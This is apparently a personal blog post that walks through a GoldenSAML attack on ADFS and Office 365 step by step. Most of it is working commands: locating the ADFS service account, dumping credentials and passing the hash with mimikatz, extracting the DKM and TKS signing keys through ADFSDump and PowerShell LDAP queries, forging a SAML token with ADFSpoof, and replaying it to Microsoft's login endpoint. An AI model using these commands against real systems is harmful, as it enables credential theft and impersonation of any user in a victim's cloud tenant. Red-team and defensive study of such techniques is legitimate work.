Playing with GoldenSAML
There are a few blog posts out there on GoldenSAML, and lots of people explain how it works, but few have definitive step-by-step instructions for performing the attack. So here's a short blog post from my notes explaining how to perform a GoldenSAML attack.
WTF is GoldenSAML
Before diving into how to do the attack, you might be reading this, and this is the first time you have heard of this type of attack.
Making the Attack - Step-By-Step
Existing Resources
- Attack Video: https://www.youtube.com/watch?v=1W3tWLf34wU
- Blog: https://www.netwrix.com/golden_saml_attack.html
Tools Required
- Burp Suite for Replaying the SAML Token
- https://github.com/mandiant/ADFSpoof
- https://github.com/mandiant/ADFSDump
- MimiKatz
- PowerShell and AD Modules
Attack Setup
Pre requisites for attack, the following need to be gathered
User Email/UPN - User to be impersonated
User ObjectGUID - Respective GUID for said user to be impersonated
DKM Key - Gathered in steps below
TKS Key - Gathered in steps below
Domain - Domain as seen by STS/ADFS/O365
Find The Service Account
Look for the GMSA user, using services.msc look for AD Federation Service and the user running the services or the following Powershell commands can be used:
ADFS Uses a Host SPN on the service account for the ADFS Service Portal. If the portal is known (ADFS/STS/FS etc.) it can be discovered
Get-ADObject -filter { ServicePrincipalName -contains "*adfs*" -or ServicePrincipalName -contains "*STS*" -or ServicePrincipalName -contains "*FS*" }
ADFS User/Service/computer Accounts
Get-ADObject -filter { samaccountname -like "*adfs*" -or description -like "*adfs*" -or description -like "*aadc*" }
Dump NTLM for AADSync user
.\mimikatz.exe "lsadump::dcsync /user:TARGETADFSUSER$".\mimikatz.exe "seckurlsa::logonpasswords"- Can be used on the Box where ADFS lives to dump out the credentials
Start a terminal as the AADSync user using PTH
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:aadcsvc$ /domain:domain.local /ntlm:f0f13a15b218cb98d1ada6484e380fe6"
ADFSDump
Run ADFSDump.exe on the server where ADFS Lives and it will dump out both the TKS key and the DKM key.
Alternatively I have ported this to PowerShell so you can run ADFSDump-PS and it'll do the same thing but in purely PS, it can be found here
Copy the bottom Private Key and save as DKM.bin, convert the B64 encoded string to TKS.bin:
Convert TKS.txt to TKS.bin
cat TKSKey.txt | base64 -d > TKSKey.bin
Convert DKM.txt to DKM.bin
cat DKM.txt | tr -d "-" | xxd -r -p > DKM.bin
tr -d "-"-> Deletes all -'sxxd -r -p-> Read Hexdump
Get Impersonate User GUID
Get-ADUser TargetUser
ADFS Spoof
python3 ADFSSpoof.py -b tks.bin dkm.bin --server DOMAIN.COM o365 --upn [email protected] --objectguid {GUID FROM Get-ADUser}
SAML Token
Use token generated to spoof request to login.microsoftonline.com
POST /login.srf HTTP/1.1
Host: login.microsoftonline.com
Connection: close
Content-Length: 7962
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
DNT: 1
wa=wsignin1.0&wresult={ADFS Spoof}
Attack Path Commands:
DKM COmmand:
$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new('LDAP://CN=1fd438a8-bfe5-4332-be04-158dfbfad8b8,CN=ADFS,CN=Microsoft,CN=Program Data,DC=ad,DC=techtonik,DC=xyz'))
$ADSearch.PropertiesToLoad.Add("thumbnailphoto") | Out-Null
$ADSearch.Filter='(&(objectclass=contact)(!name=CryptoPolicy)(thumbnailPhoto=*))'
$ADUser=$ADSearch.FindOne()
$key=[byte[]]$aduser.Properties["thumbnailPhoto"][0]
[System.BitConverter]::ToString($key)
Opt 2:
$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new('LDAP://CN=1fd438a8-bfe5-4332-be04-158dfbfad8b8,CN=ADFS,CN=Microsoft,CN=Program Data,DC=ad,DC=techtonik,DC=xyz'))
$ADSearch.Filter = '(name=CryptoPolicy)'
$aduser = $ADSearch.FindOne()
$keyObjectGuid = $ADUser.Properties["displayName"]
$ADSearch.PropertiesToLoad.Add("thumbnailphoto") | Out-Null
$ADSearch.Filter="(l=$keyObjectGuid)"
$aduser=$ADSearch.FindOne()
$key=[byte[]]$aduser.Properties["thumbnailphoto"][0]
[System.BitConverter]::ToString($key)
Opt 3:
$key=(Get-ADObject -filter 'ObjectClass -eq "Contact" -and name -ne "CryptoPolicy"' -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=ad,DC=techtonik,DC=xyz" -Properties thumbnailPhoto).thumbnailPhoto
[System.BitConverter]::ToString($key)